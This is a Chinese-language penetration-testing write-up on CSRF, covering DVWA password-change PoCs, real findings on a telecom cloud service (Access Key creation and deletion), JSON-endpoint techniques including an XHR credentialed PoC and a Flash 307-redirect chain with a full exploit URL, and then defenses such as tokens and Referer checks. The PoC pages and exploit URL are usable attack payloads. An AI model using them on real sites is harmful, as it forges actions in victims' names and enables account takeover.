0x00 前言
漏洞背景
hw時期在電信三巨頭之一旗下的子公司出差,做一下滲透測試。公網的業務主挖邏輯漏洞,但是每次挖着挖着就變成了CSRF攻擊,出差半個月算是把這輩子的CSRF都給挖完了。
testme師傅說的一句話:開發者修或不修,挖洞者覺得雞肋不雞肋,CSRF漏洞就躺着那裏。這一次的體會很深,某雲基本所有的業務邏輯都存在CSRF洞。
CSRF原理
還是來梳理一下大致的流程
1.用戶C瀏覽並登錄信任網站A
2.驗證通過,Web A產生一個Cookie返回給用戶C
3.用戶在沒有等處的情況下訪問Web B
4.B要求訪問第三方站點Web A,發出一個請求
5.瀏覽器帶着步驟2產生的Cookie,根據步驟4的請求訪問Web A
這就造成了一次CSRF攻擊,原理是利用目標用戶的合法身份,以用戶的名義執行非法操作
0x01 常見CSRF利用
GET型CSRF
這裏選擇DVWA的low級,可以抓包查看修改密碼的請求如下
可以看到發送了一個GET請求,來看看有哪些HTML元素可以實現這一請求
HTML中能夠設置src/href等鏈接地址的標籤都可以發起一個GET請求,具體如下:
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">
以及CSS樣式中的:
@import ""
background:url("")
...
這裏可以直接選擇Burp Suite的Generate CSRF PoC生成
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
當用戶在登錄狀態下打開並點擊Submit request按鈕時,便會提交修改密碼請求
POST型CSRF
POST型與GET型的區別就在於POST型CSRF需要構造form表單,再由JavaScript自動提交
這裏給出一個參考的攻擊頁面,當然也可以Burp Suite直接生成POC
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>
0x02 真實場景利用
某雲多處POST型CSRF
創建Access Key
由於是即將上線的業務,6月22日前暫未修復,關鍵數據打馬
創建Access Key只是向服務器提交了一個POST請求,數據爲空,POC如下
當用戶在已登錄情況下打開,會創建一個Access Key
刪除Access Key
這裏由POST提交的id即爲我們之前創建的Access Key(不是上面那一個。。)
我最先測的是刪除的這個功能點,但是甲方不收,說這個id沒有辦法獲取到,後來才測了創建的那個功能點。實際上,整個系統能夠越權的地方都產生了CSRF,不能越權的地方也可以用CSRF去打,算是通病了。
POC與上面那個類似,唯一區別就是這裏帶了post數據,value替換爲相應id即可。
今天準備復現的時候發現系統已經暫時下線了,估計正在修復,所以用了之前提交的測試報告的圖。
0x03 Json格式下的CSRF
在內網測試域遇到了一個POST型CSRF,且提交的數據爲json格式
如果直接用常規poc的話,會導致415,poc如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
那我們爲何不能使用這個常規構造的PoC來利用JSON端點中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式發送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。
2、Content-Type頭需要設置爲application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發送OPTIONS預檢請求。
思路一:json格式閉合
我們可以抓包看一下這個poc提交的請求詳情
可以看到這段POST數據結尾多了一個=
,這種情況下服務端的JSON解析器可能會拒絕這段JSON,因爲它不符合JSON的數據格式。 這時候我們可以給value賦值從而對=
後的數據進行補全,使其構造成一個完整的json格式,可以避免解析器報錯
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
可以看到這裏已經閉合成了一個完整的json格式的數據,但是提交數據還是會返回415.因爲在原始的數據包中Content-Type
爲application/json
,而以form表單的形式去提交是沒辦法設置enctype
爲application/json
的。爲了進一步驗證,修改enctype
爲application/json
,再抓包查看請求詳情。
可以看到Content-Type
自動轉換爲了application/x-www-form-urlencoded
,進一步驗證
將enctype
改回text/plain
並抓包,修改Content-Type
爲application/json
返回操作成功,自此可以確定服務端對Content-Type
進行了校驗。
思路二:通過XHR提交
當跨域影響用戶數據HTTP請求(如用XMLHttpRequest發送post)時,瀏覽器會發送預檢請求(OPTIONS請求)給服務端徵求支持的請求方法,然後根據服務端響應允許才發送真正的請求。 然而如果服務端對Content-Type進行校驗,則不會響應這個OPTIONS請求,從而利用失敗。
所以在此場景下,這一思路是行不通的。但是更多的情況下服務端可能不會校驗Content-Type,或者不會嚴格校驗Content-Type是否爲application/json,所以很多情況下這是可用的。
XHR CSRF POC
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
思路三:藉助flash,利用307跳轉實現CSRF
1.製作一個Flash文件
2.製作一個跨域XML文件
3.製作一個具有307狀態碼的php文件
已經有大牛造好輪子了,參考:https://github.com/sp1d3r/swf_json_csrf
POC
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
或者直接在ui.html頁面配置
整個攻擊鏈
1、受害者訪問POC,向attacter.com發起一條swf請求,swf向307.php發送HTTP POST請求。
2、attacter.com的307.php發起307跳轉,跳轉到victim.com,注意307跳轉會帶着http請求方式,header和postdata進行跳轉。
3、victim.com收到一條POST請求,並且Content-Type爲application/json。
4、victim.com收到一條/crossdomain.xml請求。由於第三步優先第四步執行,導致跨域。並且victim.com能收到crossdomain.xml請求,也證明了第三步的POST請求是Flash發出,而不是307.php發出。
然而在實際測試中卻並沒有起到理想中的效果,只能是記錄一下方法
0x04 防禦CSRF
檢查Referer
一般情況下,用戶提交站內請求,Referer中的來源應該是站內地址。如果發現Referer中的地址異常,就有可能遭到了CSRF攻擊。在瀏覽器客戶端層面,使用JavaScript和ActionScript已經無法修改HTTP Referer了,檢查Referer字段是個不錯的方法。
限制Cookie生命週期
CSRF產生的主要原因就是Cookie時效性未過的情況下,冒用用戶身份進行非法操作。而如果cookie失效,或者退出登錄,甚至切換一個瀏覽器,CSRF就不復存在了。限制Cookie的生命週期,一定程度上能減少被CSRF攻擊的概率。
使用驗證碼
使用驗證碼是阻斷CSRF攻擊的有效手段,在用戶進行相應操作時輸入驗證碼,可以最大限度上杜絕CSRF,唯一的缺點是會降低用戶體驗。
使用一次性token
Anti-CSRF-token是當下最流行的解決方案,在開發過程中我們可以在HTTP請求中以參數的形式加入一個隨機產生的token,並在服務端進行token校驗,如果請求中沒有token或者token內容不正確,則認爲是CSRF攻擊而拒絕該請求。
0x05 Reference
參考鏈接
參考文獻
Web前端黑客技術揭祕